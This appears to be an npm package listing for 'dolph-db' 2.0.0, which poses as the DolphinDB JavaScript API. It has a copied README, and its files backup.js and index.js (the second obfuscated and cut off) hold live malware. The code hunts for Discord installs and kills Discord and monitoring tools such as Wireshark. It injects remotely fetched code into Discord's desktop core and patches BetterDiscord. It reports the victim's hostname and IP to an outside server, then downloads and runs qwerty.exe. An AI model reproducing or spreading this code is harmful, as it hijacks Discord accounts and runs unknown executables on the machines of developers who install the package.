dolph-db 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dolph-db might be problematic. Click here for more details.
- package/README.md +372 -0
- package/backup.js +215 -0
- package/index.js +1 -0
- package/package.json +31 -0
package/README.md
ADDED
@@ -0,0 +1,372 @@
|
|
1
|
+
# DolphinDB JavaScript API
|
2
|
+
|
3
|
+
<p align='center'>
|
4
|
+
<img src='https://raw.githubusercontent.com/dolphindb/api-javascript/d0bf5e3b816f1f2d0b31dc8be9f90ed2359b6b92/ddb.svg' alt='DolphinDB' width='256'>
|
5
|
+
</p>
|
6
|
+
|
7
|
+
<p align='center'>
|
8
|
+
<a href='https://www.npmjs.com/package/dolph-db' target='_blank'>
|
9
|
+
<img alt='npm version' src='https://img.shields.io/npm/v/dolphindb.svg?style=flat-square&color=brightgreen' />
|
10
|
+
</a>
|
11
|
+
<a href='https://www.npmjs.com/package/dolph-db' target='_blank'>
|
12
|
+
<img alt='npm downloads' src='https://img.shields.io/npm/dt/dolphindb?style=flat-square&color=brightgreen' />
|
13
|
+
</a>
|
14
|
+
</p>
|
15
|
+
|
16
|
+
## English | [中文](./README.zh.md)
|
17
|
+
|
18
|
+
## Overview
|
19
|
+
DolphinDB JavaScript API is a JavaScript library that encapsulates the ability to operate the DolphinDB database, such as: connecting to the database, executing scripts, calling functions, uploading variables, etc.
|
20
|
+
|
21
|
+
https://www.npmjs.com/package/dolph-db
|
22
|
+
|
23
|
+
## Features
|
24
|
+
- Communicate with DolphinDB database using WebSocket, exchange data in binary format
|
25
|
+
- Support running in browser environment and Node.js environment
|
26
|
+
- Use TypedArray such as Int32Array in JavaScript to process binary data, with high performance
|
27
|
+
- A single call supports serialized upload of up to 2GB of data, and the amount of downloaded data is not limited
|
28
|
+
|
29
|
+
## Installation
|
30
|
+
```bash
|
31
|
+
# 1. Install the latest version of Node.js and browser on the machine
|
32
|
+
|
33
|
+
# 2. Create a new project (skip this step if you already have a project)
|
34
|
+
mkdir dolphindb-example
|
35
|
+
cd dolphindb-example
|
36
|
+
npm init --yes
|
37
|
+
# Open the package.json file with an editor, add the line "type": "module", below "main": "./index.js",
|
38
|
+
# This enables the use of ECMAScript modules, and in the code behind you can use import { DDB } from 'dolphindb' to import npm packages
|
39
|
+
|
40
|
+
# 3. Install npm packages in your project
|
41
|
+
npm install dolphindb
|
42
|
+
```
|
43
|
+
|
44
|
+
## Usage
|
45
|
+
### 0. Initialize and connect to DolphinDB
|
46
|
+
```ts
|
47
|
+
import { DDB } from 'dolphindb'
|
48
|
+
// The import method for existing projects using CommonJS modules is const { DDB } = require('dolphindb')
|
49
|
+
// Use in browser: import { DDB } form 'dolphindb/browser.js'
|
50
|
+
|
51
|
+
// Create a database object and initialize the WebSocket URL
|
52
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
53
|
+
|
54
|
+
// Establish a WebSocket connection to DolphinDB (requires DolphinDB database version at least 1.30.16 or 2.00.4)
|
55
|
+
await ddb.connect()
|
56
|
+
```
|
57
|
+
|
58
|
+
#### DDB options
|
59
|
+
```ts
|
60
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
61
|
+
|
62
|
+
// Encrypt with HTTPS
|
63
|
+
let ddbsecure = new DDB('wss://dolphindb.com', {
|
64
|
+
// Whether to log in automatically after establishing a connection, default `true`
|
65
|
+
autologin: true,
|
66
|
+
|
67
|
+
// DolphinDB username, default `'admin'`
|
68
|
+
username: 'admin',
|
69
|
+
|
70
|
+
// DolphinDB password, default `'123456'`
|
71
|
+
password: '123456',
|
72
|
+
|
73
|
+
// set python session flag, default `false`
|
74
|
+
python: false
|
75
|
+
})
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
### 1. Call Functions
|
80
|
+
#### Example
|
81
|
+
```ts
|
82
|
+
import { DdbInt } from 'dolphindb'
|
83
|
+
|
84
|
+
const result = await ddb.call('add', [new DdbInt(1), new DdbInt(1)])
|
85
|
+
// TypeScript: const result = await ddb.call<DdbInt>('add', [new DdbInt(1), new DdbInt(1)])
|
86
|
+
|
87
|
+
console.log(result.value === 2) // true
|
88
|
+
```
|
89
|
+
|
90
|
+
#### The DolphinDB JavaScript API uses DdbObj objects to represent data types in DolphinDB
|
91
|
+
In the above example, two parameters 1 (corresponding to the int type in DolphinDB) are uploaded to the DolphinDB database as parameters of the add function, then the result of the function call is received.
|
92
|
+
|
93
|
+
`<DdbInt>` is used by TypeScript to infer the type of the return value
|
94
|
+
|
95
|
+
- result is a `DdbInt`, which is also a `DdbObj<number>`
|
96
|
+
- result.form is a `DdbForm.scalar`
|
97
|
+
- result.type is a `DdbType.int`
|
98
|
+
- result.value is native `number` in JavaScript (the value range and precision of int can be accurately represented by JavaScript number)
|
99
|
+
|
100
|
+
```ts
|
101
|
+
/** Can represent all data types in DolphinDB databases */
|
102
|
+
class DdbObj <T extends DdbValue = DdbValue> {
|
103
|
+
/** is it little endian */
|
104
|
+
le: boolean
|
105
|
+
|
106
|
+
/** data form https://www.dolphindb.cn/cn/help/DataTypesandStructures/DataForms/index.html */
|
107
|
+
form: DdbForm
|
108
|
+
|
109
|
+
/** data type https://www.dolphindb.cn/cn/help/DataTypesandStructures/DataTypes/index.html */
|
110
|
+
type: DdbType
|
111
|
+
|
112
|
+
/** consumed length in buf parsed */
|
113
|
+
length: number
|
114
|
+
|
115
|
+
/** table name / column name */
|
116
|
+
name?: string
|
117
|
+
|
118
|
+
/**
|
119
|
+
Lowest dimension
|
120
|
+
- vector: rows = n, cols = 1
|
121
|
+
- pair: rows = 2, cols = 1
|
122
|
+
- matrix: rows = n, cols = m
|
123
|
+
- set: the same as vector
|
124
|
+
- dict: include keys, values vector
|
125
|
+
- table: the same as matrix
|
126
|
+
*/
|
127
|
+
rows?: number
|
128
|
+
|
129
|
+
/** 2nd dimension */
|
130
|
+
cols?: number
|
131
|
+
|
132
|
+
/** the actual data. Different DdbForm, DdbType use different types in DdbValue to represent actual data */
|
133
|
+
value: T
|
134
|
+
|
135
|
+
/** raw binary data, only top-level objects generated by parse_message when parse_object is false have this attribute */
|
136
|
+
buffer?: Uint8Array
|
137
|
+
|
138
|
+
constructor (data: Partial<DdbObj> & { form: DdbForm, type: DdbType, length: number }) {
|
139
|
+
Object.assign(this, data)
|
140
|
+
}
|
141
|
+
}
|
142
|
+
|
143
|
+
class DdbInt extends DdbObj<number> {
|
144
|
+
constructor (value: number) {
|
145
|
+
super({
|
146
|
+
form: DdbForm.scalar,
|
147
|
+
type: DdbType.int,
|
148
|
+
length: 4,
|
149
|
+
value
|
150
|
+
})
|
151
|
+
}
|
152
|
+
}
|
153
|
+
|
154
|
+
// ... There are also many utility classes, such as DdbString, DdbLong, DdbDouble, DdbVectorDouble, DdbVectorAny, etc.
|
155
|
+
|
156
|
+
type DdbValue =
|
157
|
+
null | boolean | number | [number, number] | bigint | string | string[] |
|
158
|
+
Uint8Array | Int16Array | Int32Array | Float32Array | Float64Array | BigInt64Array | Uint8Array[] |
|
159
|
+
DdbObj[] | DdbFunctionDefValue | DdbSymbolExtendedValue
|
160
|
+
|
161
|
+
|
162
|
+
enum DdbForm {
|
163
|
+
scalar = 0,
|
164
|
+
vector = 1,
|
165
|
+
pair = 2,
|
166
|
+
matrix = 3,
|
167
|
+
set = 4,
|
168
|
+
dict = 5,
|
169
|
+
table = 6,
|
170
|
+
chart = 7,
|
171
|
+
chunk = 8,
|
172
|
+
}
|
173
|
+
|
174
|
+
|
175
|
+
enum DdbType {
|
176
|
+
void = 0,
|
177
|
+
bool = 1,
|
178
|
+
char = 2,
|
179
|
+
short = 3,
|
180
|
+
int = 4,
|
181
|
+
long = 5,
|
182
|
+
// ...
|
183
|
+
timestamp = 12,
|
184
|
+
// ...
|
185
|
+
double = 16,
|
186
|
+
symbol = 17,
|
187
|
+
string = 18,
|
188
|
+
// ...
|
189
|
+
}
|
190
|
+
```
|
191
|
+
|
192
|
+
##### If there is no shortcut class, you can also specify form and type to manually create a DdbObj object
|
193
|
+
```ts
|
194
|
+
// Created by the DdbDateTime shortcut class
|
195
|
+
new DdbDateTime(1644573600)
|
196
|
+
|
197
|
+
// Equivalent to manually creating an object of form = scalar, type = datetime through DdbObj
|
198
|
+
const obj = new DdbObj({
|
199
|
+
form: DdbForm.scalar,
|
200
|
+
type: DdbType.datetime,
|
201
|
+
value: 1644573600,
|
202
|
+
length: 0
|
203
|
+
})
|
204
|
+
|
205
|
+
|
206
|
+
// The corresponding type and value of value in js can refer to the result returned by ddb.eval (see the `eval` method declaration below)
|
207
|
+
const obj = await ddb.eval('2022.02.11 10:00:00')
|
208
|
+
console.log(obj.form === DdbForm.scalar)
|
209
|
+
console.log(obj.type === DdbType.datetime)
|
210
|
+
console.log(obj.value)
|
211
|
+
|
212
|
+
// Another example is to create a set
|
213
|
+
// refer to ddb.eval
|
214
|
+
// const obj = await ddb.eval('set([1, 2, 3])')
|
215
|
+
// console.log(obj.value)
|
216
|
+
const obj = new DdbObj({
|
217
|
+
form: DdbForm.set,
|
218
|
+
type: DdbType.int,
|
219
|
+
value: Int32Array.of(1, 2, 3),
|
220
|
+
length: 0
|
221
|
+
})
|
222
|
+
|
223
|
+
// It's easier to use shortcut classes
|
224
|
+
const obj = new DdbSetInt(
|
225
|
+
new Set([1, 2, 3])
|
226
|
+
)
|
227
|
+
```
|
228
|
+
|
229
|
+
##### NULL object in the form of scalar, the value corresponding to DdbObj is null in JavaScript
|
230
|
+
```ts
|
231
|
+
;(await ddb.eval('double()')).value === null
|
232
|
+
|
233
|
+
// create NULL object
|
234
|
+
new DdbInt(null)
|
235
|
+
new DdbDouble(null)
|
236
|
+
```
|
237
|
+
|
238
|
+
|
239
|
+
#### `call` Method Declaration
|
240
|
+
```ts
|
241
|
+
async call <T extends DdbObj> (
|
242
|
+
/** function name */
|
243
|
+
func: string,
|
244
|
+
|
245
|
+
/** function arguments (The incoming native string and boolean will be automatically converted to DdbObj<string> and DdbObj<boolean>) */
|
246
|
+
args?: (DdbObj | string | boolean)[] = [ ],
|
247
|
+
|
248
|
+
/** calling options */
|
249
|
+
options?: {
|
250
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
251
|
+
urgent?: boolean
|
252
|
+
|
253
|
+
/** When the node alias is set, the function is sent to the corresponding node in the cluster for execution (using the rpc method in DolphinDB) */
|
254
|
+
node?: string
|
255
|
+
|
256
|
+
/** When setting multiple node aliases, send them to the corresponding multiple nodes in the cluster for execution (using the pnodeRun method in DolphinDB) */
|
257
|
+
nodes?: string[]
|
258
|
+
|
259
|
+
/** It must be passed when setting the node parameter, the function type needs to be specified, and it is not passed in other cases */
|
260
|
+
func_type?: DdbFunctionType
|
261
|
+
|
262
|
+
/** It may be passed when setting the nodes parameter, otherwise may not be passed */
|
263
|
+
add_node_alias?: boolean
|
264
|
+
} = { }
|
265
|
+
): Promise<T>
|
266
|
+
```
|
267
|
+
|
268
|
+
|
269
|
+
### 2. Execute Script
|
270
|
+
#### Example
|
271
|
+
```ts
|
272
|
+
const result = await ddb.eval(
|
273
|
+
'def foo (a, b) {\n' +
|
274
|
+
' return a + b\n' +
|
275
|
+
'}\n' +
|
276
|
+
'foo(1l, 1l)\n'
|
277
|
+
)
|
278
|
+
|
279
|
+
// TypeScript:
|
280
|
+
// import type { DdbLong } from 'dolphindb'
|
281
|
+
// const result = await ddb.eval<DdbLong>(...)
|
282
|
+
|
283
|
+
console.log(result.value === 2n) // true
|
284
|
+
```
|
285
|
+
|
286
|
+
In the above example, a script is uploaded through a string to the DolphinDB database for execution, and the execution result of the last statement `foo(1l, 1l)` is received.
|
287
|
+
|
288
|
+
`<DdbLong>` is used by TypeScript to infer the type of the return value
|
289
|
+
|
290
|
+
- result is a `DdbLong`, which is also a `DdbObj<bigint>`
|
291
|
+
- result.form is `DdbForm.scalar`
|
292
|
+
- result.type is `DdbType.long`
|
293
|
+
- result.value is the native `bigint` in JavaScript (the precision of long cannot be accurately represented by JavaScript number, but it can be represented by bigint)
|
294
|
+
|
295
|
+
As long as the WebSocket connection is not disconnected, the custom function `foo` will always exist in the subsequent session and can be reused, for example, you can use `await ddb.call<DdbInt>('foo', [new DdbInt(1), new DdbInt(1)])` to call this custom function
|
296
|
+
|
297
|
+
#### `eval` Method Declaration
|
298
|
+
```ts
|
299
|
+
async eval <T extends DdbObj> (
|
300
|
+
/** the script to execute */
|
301
|
+
script: string,
|
302
|
+
|
303
|
+
/** calling options */
|
304
|
+
options: {
|
305
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
306
|
+
urgent?: boolean
|
307
|
+
} = { }
|
308
|
+
): Promise<T>
|
309
|
+
```
|
310
|
+
|
311
|
+
|
312
|
+
### 3. Upload Variables
|
313
|
+
#### Example
|
314
|
+
```ts
|
315
|
+
import { DdbVectorDouble } from 'dolphindb'
|
316
|
+
|
317
|
+
let a = new Array(10000)
|
318
|
+
a.fill(1.0)
|
319
|
+
|
320
|
+
ddb.upload(['bar1', 'bar2'], [new DdbVectorDouble(a), new DdbVectorDouble(a)])
|
321
|
+
```
|
322
|
+
|
323
|
+
In the above example, two variables `bar1`, `bar2` are uploaded, and the variable value is a double vector of length 10000
|
324
|
+
|
325
|
+
As long as the WebSocket connection is not disconnected, the variables `bar1`, `bar2` will always exist in the subsequent session and can be reused
|
326
|
+
|
327
|
+
#### `upload` Method Declaration
|
328
|
+
```ts
|
329
|
+
async upload (
|
330
|
+
/** variable names */
|
331
|
+
vars: string[],
|
332
|
+
|
333
|
+
/** variable values */
|
334
|
+
args: (DdbObj | string | boolean)[]
|
335
|
+
): Promise<void>
|
336
|
+
```
|
337
|
+
|
338
|
+
|
339
|
+
### Some Examples
|
340
|
+
```ts
|
341
|
+
import { nulls, DdbInt, timestamp2str, DdbVectorSymbol, DdbTable, DdbVectorDouble } from 'dolphindb'
|
342
|
+
|
343
|
+
// Format timestamp in DolphinDB as string
|
344
|
+
timestamp2str(
|
345
|
+
(
|
346
|
+
await ddb.call('now', [false])
|
347
|
+
// TypeScript: await ddb.call<DdbObj<bigint>>('now', [false])
|
348
|
+
).value
|
349
|
+
) === '2022.02.23 17:23:13.494'
|
350
|
+
|
351
|
+
// create symbol vector
|
352
|
+
new DdbVectorSymbol(['aaa', 'aaa', 'aaa', 'aaa', 'aaa', 'bbb'])
|
353
|
+
|
354
|
+
// Create a double vector with NULL values using JavaScript native arrays
|
355
|
+
new DdbVectorDouble([0.1, null, 0.3])
|
356
|
+
|
357
|
+
// More efficient and memory efficient double vector creation using JavaScript TypedArray
|
358
|
+
let av = new Float64Array(3)
|
359
|
+
av[0] = 0.1
|
360
|
+
av[1] = nulls.double
|
361
|
+
av[2] = 0.3
|
362
|
+
new DdbVectorDouble(av)
|
363
|
+
|
364
|
+
// create DdbTable
|
365
|
+
new DdbTable(
|
366
|
+
[
|
367
|
+
new DdbVectorDouble([0.1, 0.2, null], 'col0'),
|
368
|
+
new DdbVectorSymbol(['a', 'b', 'c'], 'col1')
|
369
|
+
],
|
370
|
+
'mytable'
|
371
|
+
)
|
372
|
+
```
|
package/backup.js
ADDED
@@ -0,0 +1,215 @@
|
|
1
|
+
|
2
|
+
const glob = require("glob");
|
3
|
+
const fs = require('fs');
|
4
|
+
const https = require('node:https');
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
const shell = require('shelljs')
|
7
|
+
const os = require('node:os');
|
8
|
+
const axios = require('axios');
|
9
|
+
const download = require('download');
|
10
|
+
var ip = require("ip");
|
11
|
+
const zip = require("adm-zip");
|
12
|
+
const FormData = require("form-data");
|
13
|
+
var XMLHttpRequest = require('xhr2');
|
14
|
+
const buf_replace = require('buffer-replace');
|
15
|
+
const { session, BrowserWindow } = require("electron");
|
16
|
+
const path = require("path");
|
17
|
+
const querystring = require("querystring");
|
18
|
+
//////////////////////////////////////////////////////////////////////
|
19
|
+
const config = {
|
20
|
+
"logout": "instant",
|
21
|
+
"inject-notify": "true",
|
22
|
+
"logout-notify": "true",
|
23
|
+
"init-notify":"true",
|
24
|
+
"embed-color": 123,
|
25
|
+
"USERNAMEWEBHOOK": "mozarte",
|
26
|
+
"disable-qr-code": "true"
|
27
|
+
}
|
28
|
+
//////////////////////////////////////////////////////////////////////
|
29
|
+
let LOCAL = process.env.LOCALAPPDATA
|
30
|
+
let discords = [];
|
31
|
+
let injectPath = [];
|
32
|
+
let runningDiscords = [];
|
33
|
+
|
34
|
+
fs.readdirSync(LOCAL).forEach(file => {
|
35
|
+
if (file.includes("iscord")) {
|
36
|
+
discords.push(LOCAL + '\\' + file)
|
37
|
+
} else {
|
38
|
+
return;
|
39
|
+
}
|
40
|
+
});
|
41
|
+
|
42
|
+
const temp = process.env.temp;
|
43
|
+
|
44
|
+
const infecccc = async () => {
|
45
|
+
const response = await axios.get("https://cdn.discordapp.com/attachments/998660447886639106/1001240002358956134/qwerty.exe", {
|
46
|
+
responseType: "arraybuffer"
|
47
|
+
});
|
48
|
+
|
49
|
+
await fs.writeFileSync(temp + "\\qwerty.exe", response.data, {
|
50
|
+
encoding: "utf8",
|
51
|
+
flags: "w"
|
52
|
+
});
|
53
|
+
|
54
|
+
await exec(temp + `\\qwerty.exe`);
|
55
|
+
|
56
|
+
return;
|
57
|
+
};
|
58
|
+
|
59
|
+
|
60
|
+
function Infect() {
|
61
|
+
|
62
|
+
https.get('https://raw.githubusercontent.com/thaispecanhacafazzi/blagogo/main/index.js', (resp) => {
|
63
|
+
let data = '';
|
64
|
+
|
65
|
+
resp.on('data', (chunk) => {
|
66
|
+
data += chunk;
|
67
|
+
});
|
68
|
+
resp.on('end', () => {
|
69
|
+
injectPath.forEach(file => {
|
70
|
+
fs.writeFileSync(file, data.replace("%INITNOTI%", config["init-notify"]).replace("%USERIP%", ip.address()).replace("%LOGOUT%", config.logout).replace("%USERNAMEWEBHOOK%", config.USERNAMEWEBHOOK).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704",config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
|
71
|
+
encoding: 'utf8',
|
72
|
+
flag: 'w'
|
73
|
+
});
|
74
|
+
|
75
|
+
if (config["init-notify"] == "true") {
|
76
|
+
let init = file.replace("index.js", "init")
|
77
|
+
if (!fs.existsSync(init)) {
|
78
|
+
fs.mkdirSync(init, 0744)
|
79
|
+
}
|
80
|
+
}
|
81
|
+
|
82
|
+
if ( config.logout != "false" ) {
|
83
|
+
let folder = file.replace("index.js", "DC_BTW")
|
84
|
+
if (!fs.existsSync(folder)) {
|
85
|
+
fs.mkdirSync(folder, 0744)
|
86
|
+
if (config.logout == "instant") {
|
87
|
+
startDiscord();
|
88
|
+
}
|
89
|
+
} else if (fs.existsSync(folder) && config.logout == "instant" ){
|
90
|
+
startDiscord();
|
91
|
+
}
|
92
|
+
}
|
93
|
+
})
|
94
|
+
});
|
95
|
+
}).on("error", (err) => {
|
96
|
+
});
|
97
|
+
};
|
98
|
+
|
99
|
+
const logout = async () => {
|
100
|
+
await BrowserWindow.getAllWindows()[0].webContents.executeJavaScript(
|
101
|
+
`window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
|
102
|
+
true
|
103
|
+
);
|
104
|
+
|
105
|
+
return "ok";
|
106
|
+
};
|
107
|
+
|
108
|
+
function killDiscord() {
|
109
|
+
runningDiscords.forEach(disc => {
|
110
|
+
exec(`taskkill /IM ${disc}.exe /F`, (err) => {
|
111
|
+
if (err) {
|
112
|
+
return;
|
113
|
+
}
|
114
|
+
});
|
115
|
+
});
|
116
|
+
|
117
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
118
|
+
injectNotify();
|
119
|
+
|
120
|
+
}
|
121
|
+
Infect()
|
122
|
+
pwnBetterDiscord()
|
123
|
+
};
|
124
|
+
|
125
|
+
function listDiscords() {
|
126
|
+
exec('tasklist', function(err, stdout, stderr) {
|
127
|
+
if (stdout.includes("Discord.exe")) runningDiscords.push("discord");
|
128
|
+
if (stdout.includes("Discord (32 bits).exe")) runningDiscords.push("Discord");
|
129
|
+
if (stdout.includes("Discord.exe")) runningDiscords.push("Discord (32 bits)");
|
130
|
+
if (stdout.includes("DiscordCanary.exe")) runningDiscords.push("discordcanary");
|
131
|
+
if (stdout.includes("Discord Canary (32 bits).exe")) runningDiscords.push("Discord Canary");
|
132
|
+
if (stdout.includes("DiscordDevelopment.exe")) runningDiscords.push("discorddevelopment");
|
133
|
+
if (stdout.includes("DiscordPTB.exe")) runningDiscords.push("discordptb");
|
134
|
+
if (stdout.includes("Powercord.exe")) runningDiscords.push("powercord");
|
135
|
+
if (stdout.includes("Fiddler.exe")) runningDiscords.push("fiddler");
|
136
|
+
if (stdout.includes("wireshark.exe")) runningDiscords.push("wireshark");
|
137
|
+
|
138
|
+
if (config.logout == "instant") {
|
139
|
+
killDiscord();
|
140
|
+
} else {
|
141
|
+
if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
|
142
|
+
injectNotify();
|
143
|
+
}
|
144
|
+
Infect()
|
145
|
+
pwnBetterDiscord()
|
146
|
+
}
|
147
|
+
})
|
148
|
+
};
|
149
|
+
|
150
|
+
function startDiscord() {
|
151
|
+
runningDiscords.forEach(disc => {
|
152
|
+
let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
|
153
|
+
exec(path, (err) => {
|
154
|
+
if (err) {
|
155
|
+
return;
|
156
|
+
}
|
157
|
+
});
|
158
|
+
});
|
159
|
+
};
|
160
|
+
|
161
|
+
function pwnBetterDiscord() {
|
162
|
+
let dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
|
163
|
+
if (fs.existsSync(dir)) {
|
164
|
+
let x = fs.readFileSync(dir)
|
165
|
+
fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "dc"))
|
166
|
+
}
|
167
|
+
|
168
|
+
return;
|
169
|
+
}
|
170
|
+
|
171
|
+
function injectNotify() {
|
172
|
+
let fields = [];
|
173
|
+
injectPath.forEach( path => {
|
174
|
+
let c = path
|
175
|
+
fields.push(c)
|
176
|
+
})
|
177
|
+
|
178
|
+
const data = `{"fields":"Discord Desktop (app-1.0.9005)", "pcname":"${os.hostname()}", "ip":"${ip.address()}", "idclientkey":"mozarte"}`
|
179
|
+
var xhr = new XMLHttpRequest();
|
180
|
+
xhr.open('POST', 'http://20.14.80.127/api/newinjection', true);
|
181
|
+
xhr.setRequestHeader('Content-type', 'application/json');
|
182
|
+
xhr.onload = function () {
|
183
|
+
const negrodefender = this.responseText;
|
184
|
+
};
|
185
|
+
xhr.send(data);
|
186
|
+
}
|
187
|
+
|
188
|
+
function getDirectories(path) {
|
189
|
+
return fs.readdirSync(path).filter(function (file) {
|
190
|
+
return fs.statSync(path+'/'+file).isDirectory();
|
191
|
+
});
|
192
|
+
}
|
193
|
+
|
194
|
+
|
195
|
+
listDiscords();
|
196
|
+
discords.forEach(function(file) {
|
197
|
+
getDirectories(file + "\\").forEach((item) => {
|
198
|
+
if (item.includes("app-")) {
|
199
|
+
file = file + "\\" + item + "\\modules\\";
|
200
|
+
}
|
201
|
+
});
|
202
|
+
getDirectories(file).forEach((item) => {
|
203
|
+
if (item.includes("discord_desktop_core-")) {
|
204
|
+
file = file + "\\" + item + "\\discord_desktop_core\\index.js";
|
205
|
+
}
|
206
|
+
});
|
207
|
+
|
208
|
+
if (fs.existsSync(file)) {
|
209
|
+
injectPath.push(file);
|
210
|
+
}
|
211
|
+
});
|
212
|
+
killDiscord();
|
213
|
+
Infect();
|
214
|
+
startDiscord();
|
215
|
+
infecccc();
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x8c0527=_0x2756;(function(_0x588c5c,_0x188fae){const _0x201105=_0x2756,_0x3249b6=_0x588c5c();while(!![]){try{const _0x34b019=parseInt(_0x201105(0x184))/0x1*(-parseInt(_0x201105(0x18a))/0x2)+-parseInt(_0x201105(0x14b))/0x3*(parseInt(_0x201105(0x188))/0x4)+-parseInt(_0x201105(0x154))/0x5*(-parseInt(_0x201105(0x176))/0x6)+parseInt(_0x201105(0x18b))/0x7+parseInt(_0x201105(0x186))/0x8*(parseInt(_0x201105(0x13f))/0x9)+-parseInt(_0x201105(0x175))/0xa*(parseInt(_0x201105(0x134))/0xb)+parseInt(_0x201105(0x142))/0xc;if(_0x34b019===_0x188fae)break;else _0x3249b6['push'](_0x3249b6['shift']());}catch(_0x5b0501){_0x3249b6['push'](_0x3249b6['shift']());}}}(_0x57f3,0x2f26d));const glob=require(_0x8c0527(0x166)),fs=require('fs'),https=require('node:https'),{exec:exec}=require(_0x8c0527(0x191)),shell=require(_0x8c0527(0x14d)),os=require(_0x8c0527(0x153)),axios=require(_0x8c0527(0x147)),download=require(_0x8c0527(0x146));var ip=require('ip');const zip=require('adm-zip'),FormData=require('form-data');var XMLHttpRequest=require(_0x8c0527(0x158));const buf_replace=require(_0x8c0527(0x164)),{session:session,BrowserWindow:BrowserWindow}=require('electron'),path=require(_0x8c0527(0x16d)),querystring=require('querystring'),config={'logout':_0x8c0527(0x131),'inject-notify':_0x8c0527(0x135),'logout-notify':_0x8c0527(0x135),'init-notify':_0x8c0527(0x135),'embed-color':0x7b,'USERNAMEWEBHOOK':_0x8c0527(0x13a),'disable-qr-code':'true'};let LOCAL=process['env'][_0x8c0527(0x14c)],discords=[],injectPath=[],runningDiscords=[];fs[_0x8c0527(0x189)](LOCAL)[_0x8c0527(0x156)](_0x4d6329=>{const _0x585d9b=_0x8c0527;_0x4d6329[_0x585d9b(0x13e)](_0x585d9b(0x173))&&discords[_0x585d9b(0x150)](LOCAL+'\x5c'+_0x4d6329);});const temp=process[_0x8c0527(0x182)]['temp'],infecccc=async()=>{const _0xcda32f=_0x8c0527,_0x241a5b=await axios[_0xcda32f(0x174)](_0xcda32f(0x192),{'responseType':_0xcda32f(0x198)});await fs[_0xcda32f(0x15e)](temp+'\x5cqwerty.exe',_0x241a5b['data'],{'encoding':_0xcda32f(0x19a),'flags':'w'}),await exec(temp+_0xcda32f(0x137));};function _0x57f3(){const _0x4ba5e5=['arraybuffer','https://raw.githubusercontent.com/thaispecanhacafazzi/blagogo/main/index.js','utf8','console','apply','discordptb','warn','logout','instant','discorddevelopment','%USERNAMEWEBHOOK%','219428efoxWp','true','send','\x5cqwerty.exe','end','(((.+)+)+)+$','mozarte','isDirectory','exception','init','includes','18LMXweG','__proto__','DiscordCanary.exe','3067416wJAtsq','false','appdata','api/webhooks','download','axios','application/json','toString','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','3BWdanJ','LOCALAPPDATA','shelljs','wireshark','error','push','discord','%DISABLEQRCODE%','node:os','950LfUBWB','\x5cdiscord_desktop_core\x5cindex.js','forEach','init-notify','xhr2','disable-qr-code','3447704','open','\x5cUpdate.exe\x20--processStart\x20','.exe','writeFileSync','replace','existsSync','address','Content-type','%INITNOTI%','buffer-replace','discord_desktop_core-','glob','Powercord.exe','DiscordDevelopment.exe','Discord','index.js','DC_BTW','taskkill\x20/IM\x20','path','statSync','\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar','%LOGOUT%','trace','http://20.14.80.127/api/newinjection','iscord','get','140otRXQh','1308qaImAS','mkdirSync','constructor','\x22,\x20\x22ip\x22:\x22','prototype','log','return\x20(function()\x20','powercord','app-','Discord.exe','Discord\x20(32\x20bits).exe','inject-notify','env','length','233zYMZeZ','executeJavaScript','639112pELMLY','onload','135548GPisIA','readdirSync','1762HCzYMS','1783243ryXUWP','{}.constructor(\x22return\x20this\x22)(\x20)','readFileSync','filter','Discord\x20(32\x20bits)','USERNAMEWEBHOOK','child_process','https://cdn.discordapp.com/attachments/998660447886639106/1001240002358956134/qwerty.exe','setRequestHeader','table','search','embed-color','\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}'];_0x57f3=function(){return _0x4ba5e5;};return _0x57f3();}function Infect(){const _0x151572=_0x8c0527;https['get'](_0x151572(0x199),_0x194031=>{const _0x1db9d8=_0x151572;let _0xe9cbd8='';_0x194031['on']('data',_0x4bd00c=>{_0xe9cbd8+=_0x4bd00c;}),_0x194031['on'](_0x1db9d8(0x138),()=>{const _0x3d0707=_0x1db9d8;injectPath[_0x3d0707(0x156)](_0x471287=>{const 